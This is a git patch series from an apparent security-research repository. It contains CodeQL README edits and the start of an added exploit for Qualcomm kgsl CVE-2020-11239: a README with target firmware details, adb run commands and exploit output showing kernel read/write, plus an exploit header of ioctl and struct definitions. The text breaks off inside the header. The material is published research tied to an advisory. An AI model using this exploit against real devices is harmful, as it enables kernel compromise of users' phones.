-    },
-    "write": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/write/-/write-1.0.3.tgz",
-      "integrity": "sha512-/lg70HAjtkUgWPVZhZcm+T4hkL8Zbtp1nFNOn3lRrxnlv50SRBv7cR7RqR+GMsd3hUXy9hWBo4CHTbFTcOYwig==",
-      "dev": true,
-      "requires": {
-        "mkdirp": "^0.5.1"
-      },
-      "dependencies": {
-        "mkdirp": {
-          "version": "0.5.5",
-          "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz",
-          "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==",
-          "dev": true,
-          "requires": {
-            "minimist": "^1.2.5"
-          }
-        }
-      }
-    },
-    "write-file-atomic": {
-      "version": "3.0.3",
-      "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-3.0.3.tgz",
-      "integrity": "sha512-AvHcyZ5JnSfq3ioSyjrBkH9yW4m7Ayk8/9My/DD9onKeu/94fwrMocemO2QAJFAlnnDN+ZDS+ZjAR5ua1/PV/Q==",
-      "dev": true,
-      "requires": {
-        "imurmurhash": "^0.1.4",
-        "is-typedarray": "^1.0.0",
-        "signal-exit": "^3.0.2",
-        "typedarray-to-buffer": "^3.1.5"
-      }
-    },
-    "ws": {
-      "version": "7.3.0",
-      "resolved": "https://registry.npmjs.org/ws/-/ws-7.3.0.tgz",
-      "integrity": "sha512-iFtXzngZVXPGgpTlP1rBqsUK82p9tKqsWRPg5L56egiljujJT3vGAYnHANvFxBieXrTFavhzhxW52jnaWV+w2w==",
-      "dev": true
-    },
-    "xml-name-validator": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-3.0.0.tgz",
-      "integrity": "sha512-A5CUptxDsvxKJEU3yO6DuWBSJz/qizqzJKOMIfUJHETbBw/sFaDxgd6fxm1ewUaM0jZ444Fc5vC5ROYurg/4Pw==",
-      "dev": true
-    },
-    "xmlchars": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz",
-      "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==",
-      "dev": true
-    },
-    "y18n": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.0.tgz",
-      "integrity": "sha512-r9S/ZyXu/Xu9q1tYlpsLIsa3EeLXXk0VwlxqTcFRfg9EhMW+17kbt9G0NrgCmhGb5vT2hyhJZLfDGx+7+5Uj/w==",
-      "dev": true
-    },
-    "yargs": {
-      "version": "15.3.1",
-      "resolved": "https://registry.npmjs.org/yargs/-/yargs-15.3.1.tgz",
-      "integrity": "sha512-92O1HWEjw27sBfgmXiixJWT5hRBp2eobqXicLtPBIDBhYB+1HpwZlXmbW2luivBJHBzki+7VyCLRtAkScbTBQA==",
-      "dev": true,
-      "requires": {
-        "cliui": "^6.0.0",
-        "decamelize": "^1.2.0",
-        "find-up": "^4.1.0",
-        "get-caller-file": "^2.0.1",
-        "require-directory": "^2.1.1",
-        "require-main-filename": "^2.0.0",
-        "set-blocking": "^2.0.0",
-        "string-width": "^4.2.0",
-        "which-module": "^2.0.0",
-        "y18n": "^4.0.0",
-        "yargs-parser": "^18.1.1"
-      }
-    },
-    "yargs-parser": {
-      "version": "18.1.3",
-      "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-18.1.3.tgz",
-      "integrity": "sha512-o50j0JeToy/4K6OZcaQmW6lyXXKhq7csREXcDwk2omFPJEwUNOVtJKvmDr9EI1fAJZUyZcRF7kxGBWmRXudrCQ==",
-      "dev": true,
-      "requires": {
-        "camelcase": "^5.0.0",
-        "decamelize": "^1.2.0"
-      }
-    }
-  }
-}
diff --git a/package.json b/package.json
deleted file mode 100644
index aaa023f..0000000
--- a/package.json
+++ /dev/null
@@ -1,25 +0,0 @@
-{
-  "private": true,
-  "scripts": {
-    "build": "tsc",
-    "test": "tsc --noEmit && jest --no-cache",
-    "lint": "eslint . --ext .ts"
-  },
-  "license": "ISC",
-  "devDependencies": {
-    "@actions/core": "^1.2.6",
-    "@actions/github": "^2.2.0",
-    "@types/jest": "^25.2.3",
-    "@types/node": "^14.0.4",
-    "@typescript-eslint/eslint-plugin": "^2.34.0",
-    "@typescript-eslint/parser": "^2.34.0",
-    "eslint": "^7.0.0",
-    "eslint-config-prettier": "^6.11.0",
-    "eslint-plugin-prettier": "^3.1.3",
-    "jest": "^26.0.1",
-    "js-yaml": "^3.13.1",
-    "prettier": "^2.0.5",
-    "ts-jest": "^26.0.0",
-    "typescript": "^3.9.3"
-  }
-}
diff --git a/tsconfig.json b/tsconfig.json
deleted file mode 100644
index ed40bcc..0000000
--- a/tsconfig.json
+++ /dev/null
@@ -1,18 +0,0 @@
-{
-    "compilerOptions": {
-      "module": "commonjs",
-      "target": "es2017",
-      "lib": ["esnext", "es2016", "es2017"],
-      "strict": true,
-      "esModuleInterop": true,
-      "skipLibCheck": true,
-      "noUnusedLocals": true,
-      "noUnusedParameters": true,
-      "noImplicitAny": true,
-      "removeComments": false,
-      "preserveConstEnums": true,
-      "sourceMap": true
-    },
-    "include": [".github/actions/**/*.ts", "**/*.ts"],
-    "exclude": ["node_modules"]
-  }
\ No newline at end of file

From 827aebad9878a2e6254a31d8b2126cb417a6c308 Mon Sep 17 00:00:00 2001
From: Kevin Backhouse <kev@semmle.com>
Date: Mon, 1 Mar 2021 10:57:29 +0000
Subject: [PATCH 020/104] Update README.md

Co-authored-by: Xavier RENE-CORAIL <xcorail@github.com>
---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index e1cad99..40752e1 100644
--- a/README.md
+++ b/README.md
@@ -55,7 +55,7 @@ We use it for these main purposes:
 
 We welcome contributions to the [CodeQL_Queries](CodeQL_Queries) sub-directory and to the [CodeQL Resources](#codeql-resources) section of this README.
 
-If you have written a cool CodeQL query that you would like to share with the community, then please open a pull request to add it to the [CodeQL_Queries](CodeQL_Queries) sub-directory. Put your query in its own new sub-directory. For example: `CodeQL_Queries/cpp/mynewsubdir/mycoolquery.ql`. Of course, if you think your query might be eligible for a [bounty](https://securitylab.github.com/bounties), then you should open a pull request to the [codeql](https://github.com/github/codeql) repo instead. We do not offer bounties for queries submitted to this repo. The queries in the [CodeQL_Queries](CodeQL_Queries) sub-directory are usually highly specialized queries that only make sense for a specific codebase. For example, this repo contains queries that specifically target [Chrome](CodeQL_Queries/cpp/Chrome) or [Apache Struts](CodeQL_Queries/java/Apache_Struts_CVE-2018-11776). Such queries are inappropriate for the [codeql](https://github.com/github/codeql) repo, which is for general purpose queries only.
+If you have written a cool CodeQL query that you would like to share with the community, then please open a pull request to add it to the [CodeQL_Queries](CodeQL_Queries) sub-directory. Put your query in its own new sub-directory. For example: `CodeQL_Queries/cpp/mynewsubdir/mycoolquery.ql`. Of course, if you think your query might be eligible for a [bounty](https://securitylab.github.com/bounties), then you should open a pull request to the [codeql](https://github.com/github/codeql) repo instead, as we do not offer bounties for queries submitted to this repo. The queries in this repo are usually highly specialized queries that only make sense for a specific codebase, such as queries that specifically target [Chrome](CodeQL_Queries/cpp/Chrome) or [Apache Struts](CodeQL_Queries/java/Apache_Struts_CVE-2018-11776), or utility queries that help you explore your code without necessarily finding a vulnerability. Such queries are inappropriate for the [codeql](https://github.com/github/codeql) repo, which is for general purpose queries only.
 
 If you would like to add a link [CodeQL Resources](#codeql-resources) section of this README, then just add another bullet point in the appropriate section. If possible, each bullet point should consist of a hyperlinked title and a short description. Please add new bullet points at the bottom of the list. In the future, we may choose some other ordering such as alphabetical but for now it is just a sequential list.
 

From e6ad0c7f1c88a55d6a3c4b228d777c65762ed417 Mon Sep 17 00:00:00 2001
From: Kevin Backhouse <kevinbackhouse@github.com>
Date: Mon, 1 Mar 2021 16:15:50 +0000
Subject: [PATCH 021/104] Update README.md

Co-authored-by: Xavier RENE-CORAIL <xcorail@github.com>
---
 README.md | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 40752e1..ed6d3d4 100644
--- a/README.md
+++ b/README.md
@@ -57,6 +57,8 @@ We welcome contributions to the [CodeQL_Queries](CodeQL_Queries) sub-directory a
 
 If you have written a cool CodeQL query that you would like to share with the community, then please open a pull request to add it to the [CodeQL_Queries](CodeQL_Queries) sub-directory. Put your query in its own new sub-directory. For example: `CodeQL_Queries/cpp/mynewsubdir/mycoolquery.ql`. Of course, if you think your query might be eligible for a [bounty](https://securitylab.github.com/bounties), then you should open a pull request to the [codeql](https://github.com/github/codeql) repo instead, as we do not offer bounties for queries submitted to this repo. The queries in this repo are usually highly specialized queries that only make sense for a specific codebase, such as queries that specifically target [Chrome](CodeQL_Queries/cpp/Chrome) or [Apache Struts](CodeQL_Queries/java/Apache_Struts_CVE-2018-11776), or utility queries that help you explore your code without necessarily finding a vulnerability. Such queries are inappropriate for the [codeql](https://github.com/github/codeql) repo, which is for general purpose queries only.
 
-If you would like to add a link [CodeQL Resources](#codeql-resources) section of this README, then just add another bullet point in the appropriate section. If possible, each bullet point should consist of a hyperlinked title and a short description. Please add new bullet points at the bottom of the list. In the future, we may choose some other ordering such as alphabetical but for now it is just a sequential list.
+If you would like to add a link into the [CodeQL Resources](#codeql-resources) section of this README, to share a nice video or an awesome tooling, then just add another bullet point in the appropriate section. 
+* Each bullet point should consist of a hyperlinked title and a short description. The short description is optional if the title is already self-explanatory.
+* Please add new bullet points at the bottom of the list. In the future, we may choose some other ordering such as alphabetical but for now it is just a sequential list.
 
 Please see [CONTRIBUTING.md](CONTRIBUTING.md), [CODE_OF_CONDUCT.md](CODE_OF_CONDUCT.md), and [LICENSE.md](LICENSE.md) for further information on our contributing guidelines and license.

From 266aea285c800739d260267c53859af8f4cb8fda Mon Sep 17 00:00:00 2001
From: Kevin Backhouse <kevinbackhouse@github.com>
Date: Mon, 1 Mar 2021 16:17:22 +0000
Subject: [PATCH 022/104] Fix typos.

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index ed6d3d4..21e9e26 100644
--- a/README.md
+++ b/README.md
@@ -57,7 +57,7 @@ We welcome contributions to the [CodeQL_Queries](CodeQL_Queries) sub-directory a
 
 If you have written a cool CodeQL query that you would like to share with the community, then please open a pull request to add it to the [CodeQL_Queries](CodeQL_Queries) sub-directory. Put your query in its own new sub-directory. For example: `CodeQL_Queries/cpp/mynewsubdir/mycoolquery.ql`. Of course, if you think your query might be eligible for a [bounty](https://securitylab.github.com/bounties), then you should open a pull request to the [codeql](https://github.com/github/codeql) repo instead, as we do not offer bounties for queries submitted to this repo. The queries in this repo are usually highly specialized queries that only make sense for a specific codebase, such as queries that specifically target [Chrome](CodeQL_Queries/cpp/Chrome) or [Apache Struts](CodeQL_Queries/java/Apache_Struts_CVE-2018-11776), or utility queries that help you explore your code without necessarily finding a vulnerability. Such queries are inappropriate for the [codeql](https://github.com/github/codeql) repo, which is for general purpose queries only.
 
-If you would like to add a link into the [CodeQL Resources](#codeql-resources) section of this README, to share a nice video or an awesome tooling, then just add another bullet point in the appropriate section. 
+If you would like to add a link to the [CodeQL Resources](#codeql-resources) section of this README, to share a nice video or an awesome tool, then just add another bullet point in the appropriate section.
 * Each bullet point should consist of a hyperlinked title and a short description. The short description is optional if the title is already self-explanatory.
 * Please add new bullet points at the bottom of the list. In the future, we may choose some other ordering such as alphabetical but for now it is just a sequential list.
 

From 2d4237e72aa81d992140427e6c887adca1a8e660 Mon Sep 17 00:00:00 2001
From: Kevin Higgs <github@kevinhiggs.com>
Date: Tue, 2 Mar 2021 15:36:12 -0500
Subject: [PATCH 023/104] Add Itergator to resources

---
 README.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/README.md b/README.md
index 21e9e26..7224481 100644
--- a/README.md
+++ b/README.md
@@ -24,6 +24,7 @@ We use it for these main purposes:
   * [Apple XNU icmp_error CVE-2018-4407](CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407)
   * [Facebook Fizz integer overflow vulnerability (CVE-2019-3560)](CodeQL_Queries/cpp/Facebook_Fizz_CVE-2019-3560)
   * [Eating error codes in libssh2](CodeQL_Queries/cpp/libssh2_eating_error_codes)
+  * [Itergator](https://github.com/trailofbits/itergator): Library and queries for iterator invalidation ([blog post](https://blog.trailofbits.com/2020/10/09/detecting-iterator-invalidation-with-codeql/))
 * Javascript
   * [Etherpad CVE-2018-6835](CodeQL_Queries/javascript/Etherpad_CVE-2018-6835)
 * C#

From 3d5dd48f30e0ee2fb41b1d141e849efd342789a1 Mon Sep 17 00:00:00 2001
From: Slavomir <gagliardetto@users.noreply.github.com>
Date: Tue, 2 Mar 2021 22:42:32 +0200
Subject: [PATCH 024/104] Update README.md

---
 README.md | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/README.md b/README.md
index 21e9e26..68d568e 100644
--- a/README.md
+++ b/README.md
@@ -50,6 +50,9 @@ We use it for these main purposes:
 * Editor plugins
   * [Visual Studio Code](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql) (Official)
   * [Neovim](https://github.com/pwntester/codeql.nvim)
+* Code generation
+  * [cqlgen](https://github.com/gagliardetto/cqlgen) — A codeql generation library written in Go.
+  * [codemill](https://github.com/gagliardetto/codemill) — A codeql model generator for Go with a web UI. 
 
 ## Contributing
 

From 1b3be66ca8274816b73ccc3e7dbbcfc79b58f896 Mon Sep 17 00:00:00 2001
From: Xavier RENE-CORAIL <xcorail@github.com>
Date: Tue, 2 Mar 2021 12:48:26 -0800
Subject: [PATCH 025/104] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 7224481..f9841a5 100644
--- a/README.md
+++ b/README.md
@@ -24,7 +24,7 @@ We use it for these main purposes:
   * [Apple XNU icmp_error CVE-2018-4407](CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407)
   * [Facebook Fizz integer overflow vulnerability (CVE-2019-3560)](CodeQL_Queries/cpp/Facebook_Fizz_CVE-2019-3560)
   * [Eating error codes in libssh2](CodeQL_Queries/cpp/libssh2_eating_error_codes)
-  * [Itergator](https://github.com/trailofbits/itergator): Library and queries for iterator invalidation ([blog post](https://blog.trailofbits.com/2020/10/09/detecting-iterator-invalidation-with-codeql/))
+  * [Itergator](https://github.com/trailofbits/itergator) - Library and queries for iterator invalidation ([blog post](https://blog.trailofbits.com/2020/10/09/detecting-iterator-invalidation-with-codeql/))
 * Javascript
   * [Etherpad CVE-2018-6835](CodeQL_Queries/javascript/Etherpad_CVE-2018-6835)
 * C#

From 2bac23e642c55180619b1767e2f8cd95be44b2d2 Mon Sep 17 00:00:00 2001
From: Man Yue Mo <m-y-mo@github.com>
Date: Mon, 8 Mar 2021 17:03:18 +0000
Subject: [PATCH 026/104] Add CVE-2020-11239

---
 .../Android/Qualcomm/CVE-2020-11239/README.md |   62 +
 .../Qualcomm/CVE-2020-11239/kgsl_exploit.h    |  546 +++++++++
 .../CVE-2020-11239/kgsl_exploit_slab_a71.c    | 1047 +++++++++++++++++
 3 files changed, 1655 insertions(+)
 create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md
 create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit.h
 create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit_slab_a71.c

diff --git a/SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md
new file mode 100644
index 0000000..17efd5d
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md
@@ -0,0 +1,62 @@
+## Exploit for Qualcomm CVE-2020-11239
+
+The write up can be found [here](https://securitylab.github.com/research/one_day_short_of_a_fullchain_android). This is a bug in the Qualcomm kgsl driver I reported in July 2020. The GitHub Advisory can be found [here](https://securitylab.github.com/advisories/GHSL-2020-375-kgsl). The bug can be used to gain arbitrary kernel code execution, read and write from the untrusted app domain.
+
+The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXUATJ2, Baseband A715FXXU3ATI5 and Kernel version 4.14.117-19828683. The offsets in the exploit refers to that version of the firmware. For different models of phones, the macro `DMA_ADDRESS`, which indicates the address of the SWIOTLB buffer, will also need to be changed.
+
+The exploit is reasonably reliable, although it does need to wait a few minutes after start up, after the kernel activities settled down before running.
+
+The most likely cause of failure is when it failed to locate the file structs after 5 retries. In this case there is no adverse effect and the phone will not crash. However, running the exploit immediately is unlikely to succeed and it usually requires waiting for a bit or doing something else to reorganize the heap before running it again.
+
+To test, cross compile the file `kgsl_exploit_slab_a71.c` and then execute with `adb`:
+
+```
+adb push kgsl_exploit_slab_a71 /data/local/tmp
+adb shell
+a71:/ $ /data/local/tmp/kgsl_exploit_slab_a71
+```
+
+If succeeded, it will run a eBPF program to write and read to an address and confirm the successful read and write:
+
+```
+rpc opened
+[+] reallocation data initialized!
+[ ] initializing reallocation threads, please wait...
+[+] 8 reallocation threads ready!
+micros_used: 19432
+[+] REALLOC THREAD finished
+[+] REALLOC THREAD finished
+[+] REALLOC THREAD finished
+[+] REALLOC THREAD finished
+[+] REALLOC THREAD finished
+[+] REALLOC THREAD finished
+[+] REALLOC THREAD finished
+[+] REALLOC THREAD finished
+[+] Read/Write operation succeeded
+[+] syncing bounce buffers
+done read 0
+[+] Found null_fops at 2 region offset 32 ffffff80099d9788
+null file addr: ffffffc12a993058
+[+] ion region location: ffffffc12a992000
+[+] bpf addr: ffffff8008317088
+overwrite fops ffffff80099d9788
+overwrite fops 0
+[-] Failed to find dma_buf_fops
+[+] syncing bounce buffers
+[+] reallocation data initialized!
+[ ] initializing reallocation threads, please wait...
+[+] 8 reallocation threads ready!
+micros_used: 19938
+[+] REALLOC THREAD finished
+[+] REALLOC THREAD finished
+[+] REALLOC THREAD finished
+[+] REALLOC THREAD finished
+[+] REALLOC THREAD finished
+[+] REALLOC THREAD finished
+[+] REALLOC THREAD finished
+[+] REALLOC THREAD finished
+[+] Read/Write operation succeeded
+running bpf program
+bpf_data 0x3039
+[+] successful read
+```
diff --git a/SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit.h b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit.h
new file mode 100644
index 0000000..dc1022e
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit.h
@@ -0,0 +1,546 @@
+#ifndef KGSL_EXPLOIT_H
+#define KGSL_EXPLOIT_H
+
+#include <linux/bpf.h>
+
+//---------------------------ION-------------------------------------------------------------------
+
+enum ion_heap_ids {
+	INVALID_HEAP_ID = -1,
+	ION_CP_MM_HEAP_ID = 8,
+	ION_SECURE_HEAP_ID = 9,
+	ION_SECURE_DISPLAY_HEAP_ID = 10,
+	ION_CP_MFC_HEAP_ID = 12,
+	ION_SPSS_HEAP_ID = 13, /* Secure Processor ION heap */
+	ION_SECURE_CARVEOUT_HEAP_ID = 14,
+	ION_CP_WB_HEAP_ID = 16, /* 8660 only */
+	ION_QSECOM_TA_HEAP_ID = 19,
+	ION_CAMERA_HEAP_ID = 20, /* 8660 only */
+	ION_SYSTEM_CONTIG_HEAP_ID = 21,
+	ION_ADSP_HEAP_ID = 22,
+	ION_PIL1_HEAP_ID = 23, /* Currently used for other PIL images */
+	ION_SF_HEAP_ID = 24,
+	ION_SYSTEM_HEAP_ID = 25,
+	ION_PIL2_HEAP_ID = 26, /* Currently used for modem firmware images */
+	ION_QSECOM_HEAP_ID = 27,
+	ION_AUDIO_HEAP_ID = 28,
+
+	ION_MM_FIRMWARE_HEAP_ID = 29,
+	ION_GOOGLE_HEAP_ID = 30,
+
+	ION_HEAP_ID_RESERVED = 31 /** Bit reserved for ION_FLAG_SECURE flag */
+};
+
+enum ion_heap_type {
+	ION_HEAP_TYPE_SYSTEM,
+	ION_HEAP_TYPE_SYSTEM_CONTIG,
+	ION_HEAP_TYPE_CARVEOUT,
+	ION_HEAP_TYPE_CHUNK,
+	ION_HEAP_TYPE_DMA,
+	ION_HEAP_TYPE_CUSTOM, /*
+			       * must be last so device specific heaps always
+			       * are at the end of this enum
+			       */
+	ION_NUM_HEAPS = 16,
+};
+
+#define ION_HEAP_SYSTEM_MASK		((1 << ION_HEAP_TYPE_SYSTEM))
+#define ION_HEAP_SYSTEM_CONTIG_MASK	((1 << ION_HEAP_TYPE_SYSTEM_CONTIG))
+#define ION_HEAP_CARVEOUT_MASK		((1 << ION_HEAP_TYPE_CARVEOUT))
+#define ION_HEAP_TYPE_DMA_MASK		((1 << ION_HEAP_TYPE_DMA))
+
+#define ION_NUM_HEAP_IDS		(sizeof(unsigned int) * 8)
+#define ION_FLAG_CACHED 1		
+#define ION_FLAG_CACHED_NEEDS_SYNC 2	
+struct ion_allocation_data {
+	size_t len;
+	unsigned int heap_id_mask;
+	unsigned int flags;
+    uint32_t fd;
+    uint32_t unused;
+};
+
+struct ion_custom_data {
+	unsigned int cmd;
+	unsigned long arg;
+};
+
+#define VM_MAYWRITE	0x00000020
+
+/* ioctls */
+#define KGSL_IOC_TYPE 0x09
+
+#define IOCTL_KGSL_GPUOBJ_IMPORT \
+	_IOWR(KGSL_IOC_TYPE, 0x48, struct kgsl_gpuobj_import)
+
+#define ION_IOC_MAGIC		'I'
+
+#define ION_IOC_ALLOC		_IOWR(ION_IOC_MAGIC, 0, \
+				      struct ion_allocation_data)
+
+#define ION_IOC_FREE		_IOWR(ION_IOC_MAGIC, 1, struct ion_handle_data)
+
+#define ION_IOC_MAP		_IOWR(ION_IOC_MAGIC, 2, struct ion_fd_data)
+
+#define ION_IOC_SHARE		_IOWR(ION_IOC_MAGIC, 4, struct ion_fd_data)
+
+#define ION_IOC_IMPORT		_IOWR(ION_IOC_MAGIC, 5, struct ion_fd_data)
+
+#define ION_IOC_SYNC		_IOWR(ION_IOC_MAGIC, 7, struct ion_fd_data)
+
+#define ION_IOC_CUSTOM		_IOWR(ION_IOC_MAGIC, 6, struct ion_custom_data)
+
+#define ION_BIT(nr) (1UL << (nr))
+
+#define ION_HEAP(bit)			ION_BIT(bit)
+
+//---------------------------------KGSL------------------------------------------------------------
+
+#define KGSL_MEMFLAGS_USE_CPU_MAP 0x10000000ULL
+
+enum kgsl_user_mem_type {
+	KGSL_USER_MEM_TYPE_PMEM		= 0x00000000,
+	KGSL_USER_MEM_TYPE_ASHMEM	= 0x00000001,
+	KGSL_USER_MEM_TYPE_ADDR		= 0x00000002,
+	KGSL_USER_MEM_TYPE_ION		= 0x00000003,
+	/*
+	 * ION type is retained for backwards compatibility but Ion buffers are
+	 * dma-bufs so try to use that naming if we can
+	 */
+	KGSL_USER_MEM_TYPE_DMABUF       = 0x00000003,
+	KGSL_USER_MEM_TYPE_MAX		= 0x00000007,
+};
+
+struct kgsl_gpuobj_import {
+	uint64_t __user priv;
+	uint64_t priv_len;
+	uint64_t flags;
+	unsigned int type;
+	unsigned int id;
+};
+
+struct kgsl_gpuobj_import_dma_buf {
+	int fd;
+};
+
+struct kgsl_gpuobj_import_useraddr {
+	uint64_t virtaddr;
+};
+
+struct kgsl_gpuobj_free {
+	uint64_t flags;
+	uint64_t __user priv;
+	unsigned int id;
+	unsigned int type;
+	unsigned int len;
+};
+
+#define KGSL_GPUOBJ_FREE_ON_EVENT 1
+
+#define KGSL_GPU_EVENT_TIMESTAMP 1
+#define KGSL_GPU_EVENT_FENCE     2
+
+struct kgsl_gpu_event_timestamp {
+	unsigned int context_id;
+	unsigned int timestamp;
+};
+
+struct kgsl_gpu_event_fence {
+	int fd;
+};
+
+struct kgsl_gpumem_free_id {
+	unsigned int id;
+/* private: reserved for future use*/
+	unsigned int __pad;
+};
+
+#define IOCTL_KGSL_GPUMEM_FREE_ID _IOWR(KGSL_IOC_TYPE, 0x35, struct kgsl_gpumem_free_id)
+
+#define IOCTL_KGSL_GPUOBJ_FREE \
+	_IOW(KGSL_IOC_TYPE, 0x46, struct kgsl_gpuobj_free)
+
+struct dma_buf_sync {
+	__u64 flags;
+};
+
+#define DMA_BUF_SYNC_READ      (1 << 0)
+#define DMA_BUF_SYNC_WRITE     (2 << 0)
+#define DMA_BUF_SYNC_RW        (DMA_BUF_SYNC_READ | DMA_BUF_SYNC_WRITE)
+#define DMA_BUF_SYNC_START     (0 << 2)
+#define DMA_BUF_SYNC_END       (1 << 2)
+#define DMA_BUF_SYNC_USER_MAPPED       (1 << 3)
+
+#define DMA_BUF_SYNC_VALID_FLAGS_MASK \
+	(DMA_BUF_SYNC_RW | DMA_BUF_SYNC_END)
+
+#define DMA_BUF_BASE		'b'
+#define DMA_BUF_IOCTL_SYNC	_IOW(DMA_BUF_BASE, 0, struct dma_buf_sync)
+
+#define KGSL_MEMFLAGS_FORCE_32BIT 0x100000000ULL
+
+//-----------------------ADSPRPC----------------------------------------------------
+
+/* Retrives number of input buffers from the scalars parameter */
+#define REMOTE_SCALARS_INBUFS(sc)        (((sc) >> 16) & 0x0ff)
+
+/* Retrives number of output buffers from the scalars parameter */
+#define REMOTE_SCALARS_OUTBUFS(sc)       (((sc) >> 8) & 0x0ff)
+
+/* Retrives number of input handles from the scalars parameter */
+#define REMOTE_SCALARS_INHANDLES(sc)     (((sc) >> 4) & 0x0f)
+
+/* Retrives number of output handles from the scalars parameter */
+#define REMOTE_SCALARS_OUTHANDLES(sc)    ((sc) & 0x0f)
+
+#define REMOTE_SCALARS_LENGTH(sc)	(REMOTE_SCALARS_INBUFS(sc) +\
+					REMOTE_SCALARS_OUTBUFS(sc) +\
+					REMOTE_SCALARS_INHANDLES(sc) +\
+					REMOTE_SCALARS_OUTHANDLES(sc))
+
+#define REMOTE_SCALARS_MAKEX(attr, method, in, out, oin, oout) \
+		((((uint32_t)   (attr) & 0x7) << 29) | \
+		(((uint32_t) (method) & 0x1f) << 24) | \
+		(((uint32_t)     (in) & 0xff) << 16) | \
+		(((uint32_t)    (out) & 0xff) <<  8) | \
+		(((uint32_t)    (oin) & 0x0f) <<  4) | \
+		((uint32_t)   (oout) & 0x0f))
+
+#define REMOTE_SCALARS_MAKE(method, in, out) \
+		REMOTE_SCALARS_MAKEX(0, method, in, out, 0, 0)
+
+
+#ifndef VERIFY_PRINT_ERROR
+#define VERIFY_EPRINTF(format, args) (void)0
+#endif
+
+#ifndef VERIFY_PRINT_INFO
+#define VERIFY_IPRINTF(args) (void)0
+#endif
+
+#ifndef VERIFY
+#define __STR__(x) #x ":"
+#define __TOSTR__(x) __STR__(x)
+#define __FILE_LINE__ __FILE__ ":" __TOSTR__(__LINE__)
+
+#define VERIFY(err, val) \
+do {\
+	VERIFY_IPRINTF(__FILE_LINE__"info: calling: " #val "\n");\
+	if ((val) == 0) {\
+		(err) = (err) == 0 ? -1 : (err);\
+		VERIFY_EPRINTF(__FILE_LINE__"error: %d: " #val "\n", (err));\
+	} else {\
+		VERIFY_IPRINTF(__FILE_LINE__"info: passed: " #val "\n");\
+	} \
+} while (0)
+#endif
+
+#define remote_arg64_t    union remote_arg64
+
+struct remote_buf64 {
+	uint64_t pv;
+	uint64_t len;
+};
+
+struct remote_dma_handle64 {
+	int fd;
+	uint32_t offset;
+	uint32_t len;
+};
+
+union remote_arg64 {
+	struct remote_buf64	buf;
+	struct remote_dma_handle64 dma;
+	uint32_t h;
+};
+
+#define remote_arg_t    union remote_arg
+
+struct remote_buf {
+	void *pv;		/* buffer pointer */
+	size_t len;		/* length of buffer */
+};
+
+struct remote_dma_handle {
+	int fd;
+	uint32_t offset;
+};
+
+union remote_arg {
+	struct remote_buf buf;	/* buffer info */
+	struct remote_dma_handle dma;
+	uint32_t h;		/* remote handle */
+};
+
+struct fastrpc_ioctl_invoke {
+	uint32_t handle;	/* remote handle */
+	uint32_t sc;		/* scalars describing the data */
+	remote_arg_t *pra;	/* remote arguments list */
+};
+
+struct fastrpc_ioctl_invoke_fd {
+	struct fastrpc_ioctl_invoke inv;
+	int *fds;		/* fd list */
+};
+
+struct fastrpc_ioctl_invoke_attrs {
+	struct fastrpc_ioctl_invoke inv;
+	int *fds;		/* fd list */
+	unsigned int *attrs;	/* attribute list */
+};
+
+struct fastrpc_ioctl_invoke_crc {
+	struct fastrpc_ioctl_invoke inv;
+	int *fds;		/* fd list */
+	unsigned int *attrs;	/* attribute list */
+	unsigned int *crc;
+};
+
+struct fastrpc_ioctl_init {
+	uint32_t flags;		/* one of FASTRPC_INIT_* macros */
+	uintptr_t file;		/* pointer to elf file */
+	uint32_t filelen;	/* elf file length */
+	int32_t filefd;		/* ION fd for the file */
+	uintptr_t mem;		/* mem for the PD */
+	uint32_t memlen;	/* mem length */
+	int32_t memfd;		/* ION fd for the mem */
+};
+
+struct fastrpc_ioctl_init_attrs {
+		struct fastrpc_ioctl_init init;
+		int attrs;
+		unsigned int siglen;
+};
+
+struct fastrpc_ioctl_munmap {
+	uintptr_t vaddrout;	/* address to unmap */
+	size_t size;		/* size */
+};
+
+struct fastrpc_ioctl_munmap_64 {
+	uint64_t vaddrout;	/* address to unmap */
+	size_t size;		/* size */
+};
+
+struct fastrpc_ioctl_mmap {
+	int fd;					/* ion fd */
+	uint32_t flags;			/* flags for dsp to map with */
+	uintptr_t vaddrin;		/* optional virtual address */
+	size_t size;			/* size */
+	uintptr_t vaddrout;		/* dsps virtual address */
+};
+
+struct fastrpc_ioctl_mmap_64 {
+	int fd;				/* ion fd */
